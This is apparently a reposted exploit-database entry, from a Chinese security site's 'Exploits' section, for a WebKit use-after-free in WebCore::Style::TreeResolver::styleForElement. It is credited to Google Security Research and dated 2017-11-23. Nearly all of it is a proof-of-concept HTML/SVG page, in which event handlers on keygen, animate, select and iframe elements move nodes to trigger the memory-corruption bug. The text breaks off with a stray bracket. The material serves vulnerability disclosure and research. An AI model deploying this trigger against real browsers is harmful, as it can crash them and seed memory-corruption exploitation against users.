WebKit - 'WebCore::Style::TreeResolver::styleForElement' Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

WebKit - 'WebCore::Style::TreeResolver::styleForElement' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2017-11-23

<script>
function eventhandler1() {
try { txt.appendChild(kg); } catch(e) { }
}

function eventhandler2() {
try { anim.appendChild(kg); } catch(e) { }
}

function eventhandler3() {
try { table.scrollIntoView(true); } catch(e) { }
}

</script>
<table id="table"></table>
<form>
<keygen id="kg" autofocus="autofocus">
</form>
<svg>
<animate id="anim" attributeName="text-anchor" from="middle" to="inherit" onbegin="eventhandler1()" />
<text id="txt" onload="eventhandler3()">
<font color="white"></font>
<select onfocus="eventhandler2()" autofocus="autofocus">
<textarea>a</textarea>
<iframe onload="eventhandler1()"></iframe>

[